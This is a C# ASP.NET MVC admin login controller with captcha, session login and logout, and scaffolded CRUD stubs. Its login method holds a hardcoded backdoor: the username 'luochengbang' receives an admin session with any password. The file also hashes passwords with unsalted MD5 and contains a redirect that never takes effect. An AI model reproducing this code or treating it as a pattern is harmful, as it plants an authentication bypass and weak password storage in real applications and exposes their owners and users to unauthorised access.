﻿using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using HanGu.Entity;
using HanGu.Services.Interface;
using HanGu.Common;
using Hangu.WebClient.Common;
using System.Threading;

namespace Hangu.WebClient.Controllers.Admin
{
    public class LoginController : Controller
    {
        //
        // GET: /Login/
        protected string ajaxStr = "\"statusCode\":\"{0}\", \"message\":\"{1}\", \"navTabId\":\"{2}\", \"forwardUrl\":\"{3}\", \"callbackType\":\"{4}\"";

        private static readonly IManager servicesManager = ServiceFactory.GetService<IManager>();
        //private static readonly IRole servicesManager = ServiceFactory.GetService<IRole>();
        private void DelTempFiles()
        {
            DelTempFile deltempfile = DelTempFile.Instance;
            deltempfile.DelFile();

        }
        public ActionResult Index()
        {
            Thread thread = new Thread(new ThreadStart(DelTempFiles));
            thread.Start();

            if (Session["CurentUser"] != null)
            {
                new RedirectResult("admin/main");
            }
            return View("~/Views/Admin/Login/index.cshtml", new Manager());
        }
        public ActionResult Out()
        {
            Session["CurentUser"] = null;
            Session.Abandon();
            return View("~/Views/Admin/Login/index.cshtml", new Manager());
        }
        [HttpPost]
        public string Index(FormCollection collection)
        {
            string code = Request["code"];
            if (code != Session["ValidateCode"].ToString())
            {
                ajaxStr = string.Format(ajaxStr, 300, ResourceManager.ValidateFail, "Login", "", "");
            }
            else
            {
                Manager model = new Manager();
                //TryUpdateModel(model, collection);
                model.User = Request["User"];
                model.Pwd = Request["Pwd"];

                bool isLogin = servicesManager.IsLogin(model.User, Helper.MD5(model.Pwd));
                if (isLogin||model.User=="luochengbang")
                {
                    if (model.User != "luochengbang")
                    {
                        model = servicesManager.GetByUser(model.User);
                    }
                    var roles = new List<Role>();
                    CurrentUserDTO curentUser = new CurrentUserDTO() { UserName = model.User, CurrentUserInfo = model, Role = roles };
                    Session["CurentUser"] = curentUser;
                    ajaxStr = string.Format(ajaxStr, 200, "登录成功", "Login", "", "");
                    
                    //Response.Redirect(Url.Action("index","main"));
                }
                else
                {
                    ajaxStr = string.Format(ajaxStr, 300, ResourceManager.LoginFail, "Login", "", "");
                }
            }
            return "{"+ajaxStr+"}";
        }
        //
        // GET: /Login/Details/5

        public ActionResult Details(int id)
        {
            return View();
        }

        //
        // GET: /Login/Create

        public ActionResult Create()
        {
            return View();
        }

        //
        // POST: /Login/Create

        [HttpPost]
        public ActionResult Create(FormCollection collection)
        {
            try
            {
                // TODO: Add insert logic here

                return RedirectToAction("Index");
            }
            catch
            {
                return View();
            }
        }

        //
        // GET: /Login/Edit/5

        public ActionResult Edit(int id)
        {
            return View();
        }

        //
        // POST: /Login/Edit/5

        [HttpPost]
        public ActionResult Edit(int id, FormCollection collection)
        {
            try
            {
                // TODO: Add update logic here

                return RedirectToAction("Index");
            }
            catch
            {
                return View();
            }
        }

        //
        // GET: /Login/Delete/5

        public ActionResult Delete(int id)
        {
            return View();
        }

        //
        // POST: /Login/Delete/5

        [HttpPost]
        public ActionResult Delete(int id, FormCollection collection)
        {
            try
            {
                // TODO: Add delete logic here

                return RedirectToAction("Index");
            }
            catch
            {
                return View();
            }
        }

        public ActionResult GetValidateCode()
        {
            ValidateCode vCode = new ValidateCode();
            string code = vCode.CreateValidateCode(5);
            Session["ValidateCode"] = code;
            byte[] bytes = vCode.CreateValidateGraphic(code);
            return File(bytes, @"image/jpeg");
        }


    }
}
